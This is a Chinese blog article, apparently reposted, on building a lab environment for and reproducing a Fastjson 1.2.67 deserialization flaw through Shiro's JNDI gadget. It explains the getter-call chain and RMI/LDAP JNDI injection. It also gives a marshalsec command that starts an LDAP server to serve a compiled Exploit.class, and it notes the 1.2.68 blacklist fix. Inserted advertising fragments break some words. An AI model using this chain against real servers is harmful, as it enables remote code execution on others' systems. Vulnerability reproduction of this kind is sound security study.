今天就跟大家聊聊有关如何分析Fastjson漏洞的环境搭建及漏洞复现,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。Fastjson 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjsonJDK 版本:8u112fastjson: 1.2.67shiro: 1.5.1slf4j-nop: 1.7.25为了快速添加项目所需要的jar包,创建Maven项目如下pom.xml之后右键pom.xml 点击下载source和document该漏洞选择JDK 8u112在main文件夹中添加漏洞代码,核心在于调用了fastjson.JSON的parseObject 函数Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。FastJson中的 parse 和 parseObject方法都可以用来将JSON字符串反序列化成Java对象,parseObject 本质上也是调用 parse 进行反序列化的。但是 parseObject 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON。所以进行反序列化时的细节区别在于,parse 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。fastjson.java由结果可以看出调用parseObject 函数会调用getattr方法。调用栈分析这一步的操作是将obj对应的对象类型转化为json格式,这势必要方位getattr 对象方法,从而触发漏洞。通过invoke方法,调用getinstance方法在JndiObjectFactory getinstance 中调用了this.lookup(resourceName)Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。注入方法:JNDI Reference 配合 RMIJNDI Reference 配合 LDAPRMI格式:ctx.lookup(“
rmi://localhost:9999/refObj”);LDAP格式ctx.lookup(“
ldap://localhost:9999/refObj”);若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。LDAP(Lightweight Directory Ac免费云主机域名cess Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。使用marshalsec启动一个ladp服务器 ,下载地址为
https://github.com/mbechler/marshalsecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit将编译好的Exploit.class 放在web目录下并开启服务这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包
https://github.com/LeadroyaL/fastjson-blacklist该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了对应的具体代码如下图所示,在 public Class> checkAutoType(String typeName, Class> expectClass, int features) 函数中有对应处理黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。看完上述内容,你们对如何分析Fastjson漏洞的环境搭建及漏洞复现有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注云编程开发博客行业资讯频道,感谢大家的支持。
相关推荐: vmware horizon view 添加vcenter server
1、网上提供的view5.0或者6.0版本的安装部署文档里面,在安装vcenter composer时,没有单独列出vcenter se免费云主机域名rver的安装配置说明。如果环境中没有安装vcenter server软件,则必须下载安装。2、在view c…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。